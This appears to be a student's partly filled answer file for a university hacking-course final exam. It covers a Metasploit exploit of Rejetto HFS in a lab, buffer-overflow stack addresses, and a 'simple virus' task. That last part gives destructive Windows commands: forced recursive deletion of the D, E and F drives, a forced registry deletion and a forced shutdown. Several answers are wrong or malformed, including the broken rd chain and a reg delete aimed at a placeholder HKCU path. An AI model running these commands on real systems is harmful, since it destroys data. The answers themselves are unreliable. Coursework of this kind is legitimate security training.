Faculty of Business, IT, and Management

Hacking & Exploits – HACK2200

Final Test - Answer File

By proceeding with this test, I promise that I will not lie, cheat, or use any unauthorized aids or assistance to complete this test. Further, I promise that I will not offer any unauthorized assistance to any of my fellow students, and I promise that I will not ask any of my fellow students for unauthorized assistance.

I promise that the work I submit is my own, and that I will not share this test material with any students.

I have read the above statement and express my agreement by proceeding to write this test.

**Question#1 – 40 Marks - Using Kali Linux Metasploit Framework (msf), exploit Rejetto HTTP File Server (HFS) 2.3.b that is installed on a Metasploitable 3 Windows Server 2008 box.**

1. Insert Screenshot#1 Here (5 Marks)

A screenshot of a computer

Description automatically generated

1. Insert Screenshot#2 Here (5 Marks) showing your full terminal running the command: show options.
2. **Question#1.1:** What exploit did you use? (5 Marks)

Type your answer here

1. **Question#1.2:** What payload did you use? (5 Marks)

Type your answer here

1. Insert SCREENSHOT#3 Here (5 Marks) showing your full msfconsle terminal running the exploit command and the gained meterpreter shell:
2. Insert SCREENSHOT#4 Here (10 Marks) showing your full msfconsle terminal running the exploit command and the command you used to copy the file from the victim machine.
3. Insert SCREENSHOT#5 Here (5 Marks) showing your full text editor in your screenshot:

**Question#2 – 50 Marks - Using SEED VMs and containers, exploit the buffer overflow based on the exploit.py file attached to this test.**

1. **Question#2.3**: What is the Frame Pointer (ebp) inside bof() address in **hexadecimal**? (5 Marks)

**0xffffd238**

1. **Question#2.4**: What is the Buffer’s address inside bof() in **hexadecimal**? (5 Marks)

**0xffffd1c8**

1. **Question#2.5**: What is the value of the ret address in **hexadecimal**? (10 Marks)

**0xFFFFD242**

1. **Question#2.6**: What is the value of the offset in **hexadecimal**? (10 Marks)

**0x74**

1. Insert SCREENSHOT#6 Here (20 Marks)

Graphical user interface, text

Description automatically generated

**Question 3 – 10 Marks - Write a simple virus.**

* 1. Force the deletion of all the files on the D, E, and F drives. (2.5 Marks)

**rd E:\. /S /Q && F:\. /S /Q && D:\. /S /Q**

* 1. Delete all entries in the HKCR registry key. (2.5 Marks)

**reg delete "HKCU\Some\Registry\Path" /f**

* 1. Encrypt the files in a c:\data folder. (2.5 Marks)

Type your answer here

* 1. Shutdown the victim machine with the message “Own3d!”. (2.5 Marks)

**ECHO "get Own3d!”**

**shutdown /s /f /t 0**

**pause**